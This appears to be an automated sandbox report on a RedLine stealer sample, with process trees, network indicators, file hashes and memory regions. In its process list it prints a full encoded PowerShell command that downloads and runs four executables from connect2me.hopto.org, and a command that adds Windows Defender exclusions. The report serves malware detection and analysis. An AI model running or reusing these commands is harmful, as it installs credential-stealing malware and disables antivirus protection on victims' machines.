Analysis Overview
SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
Threat Level: Known bad
The file 17855519b9e1bde7cabf66a422b5671d4d462968 was found to be: Known bad.
Malicious Activity Summary
RedLine
RedLine payload
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
Uses the VBS compiler for execution
Drops file in System32 directory
Suspicious use of SetThreadContext
Program crash
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-16 13:13
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-16 13:13
Reported
2023-01-16 14:07
Platform
win7-20221111-en
Max time kernel
222s
Max time network
301s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1880 created 1276 | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | C:\Windows\Explorer.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\C4Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SysApp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Uses the VBS compiler for execution
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1156 set thread context of 520 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 336 set thread context of 1308 | N/A | C:\Users\Admin\AppData\Local\Temp\new2.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\new2.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1156 -s 36
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
C:\Users\Admin\AppData\Local\Temp\new2.exe
"C:\Users\Admin\AppData\Local\Temp\new2.exe"
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 336 -s 36
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | connect2me.hopto.org | udp |
| N/A | 37.139.129.113:443 | connect2me.hopto.org | tcp |
| N/A | 107.182.129.73:21733 | tcp |
Files
memory/520-54-0x0000000000400000-0x0000000000405000-memory.dmp
memory/520-56-0x0000000000400000-0x0000000000405000-memory.dmp
memory/520-62-0x0000000000401159-mapping.dmp
memory/520-64-0x0000000000400000-0x0000000000405000-memory.dmp
memory/520-63-0x0000000074E61000-0x0000000074E63000-memory.dmp
memory/1160-65-0x0000000000000000-mapping.dmp
memory/584-66-0x0000000000000000-mapping.dmp
memory/584-68-0x00000000731B0000-0x000000007375B000-memory.dmp
memory/584-69-0x00000000731B0000-0x000000007375B000-memory.dmp
\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
memory/972-72-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
| MD5 | bb86a343080f9f4696c250ef31a18d9d |
| SHA1 | 43b2193dcb1d56eac73ba88a7b461822074192d6 |
| SHA256 | 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0 |
| SHA512 | 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560 |
memory/336-76-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
memory/1616-80-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
C:\Users\Admin\AppData\Local\Temp\SysApp.exe
| MD5 | b6bbab9f72c88d07b484cc339c475e75 |
| SHA1 | f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1 |
| SHA256 | dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f |
| SHA512 | 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5 |
memory/1308-82-0x0000000000320000-0x0000000000340000-memory.dmp
memory/1308-84-0x0000000000320000-0x0000000000340000-memory.dmp
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/1308-92-0x0000000000320000-0x0000000000340000-memory.dmp
memory/1732-91-0x0000000000000000-mapping.dmp
memory/1308-90-0x0000000000320000-0x0000000000340000-memory.dmp
memory/1308-89-0x000000000033ADAE-mapping.dmp
\Users\Admin\AppData\Local\Temp\new2.exe
| MD5 | 990c8e3fc56a2734631b51fc61a6779a |
| SHA1 | 55a16cc67fc52cdf0690387e083955048106d48a |
| SHA256 | d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e |
| SHA512 | f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5 |
memory/1616-96-0x0000000001DC0000-0x00000000022C4000-memory.dmp
memory/972-97-0x0000000000060000-0x00000000001CC000-memory.dmp
memory/1616-98-0x0000000001DC0000-0x00000000022C4000-memory.dmp
memory/1616-99-0x00000000022D0000-0x000000000240D000-memory.dmp
memory/1616-101-0x00000000022D0000-0x000000000240D000-memory.dmp
memory/1616-102-0x0000000001DC0000-0x00000000022C4000-memory.dmp
memory/1616-103-0x00000000022D0000-0x000000000240D000-memory.dmp
\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
memory/1880-105-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
| MD5 | f5c51e7760315ad0f0238d268c03c60e |
| SHA1 | 85ebaaa9685634143a72bc82c6e7df87a78eed4c |
| SHA256 | ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa |
| SHA512 | d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35 |
memory/584-107-0x00000000731B0000-0x000000007375B000-memory.dmp
memory/972-108-0x0000000005510000-0x0000000005676000-memory.dmp
memory/972-111-0x0000000005670000-0x00000000057BE000-memory.dmp
memory/972-112-0x0000000000610000-0x0000000000624000-memory.dmp
memory/972-113-0x0000000004306000-0x0000000004317000-memory.dmp
memory/916-114-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-16 13:13
Reported
2023-01-16 14:06
Platform
win10v2004-20221111-en
Max time kernel
208s
Max time network
233s
Command Line
Signatures
Uses the VBS compiler for execution
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 532 set thread context of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 532 wrote to memory of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 532 wrote to memory of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 532 wrote to memory of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 532 wrote to memory of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
| PID 532 wrote to memory of 2440 | N/A | C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 532 -ip 532
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2440 -ip 2440
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 12
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 532 -s 300
Network
| Country | Destination | Domain | Proto |
| N/A | 93.184.220.29:80 | tcp | |
| N/A | 87.248.202.1:80 | tcp | |
| N/A | 209.197.3.8:80 | tcp | |
| N/A | 209.197.3.8:80 | tcp | |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 20.54.89.106:443 | tcp |
Files
memory/2440-132-0x0000000000000000-mapping.dmp
memory/2440-133-0x0000000000400000-0x0000000000405000-memory.dmp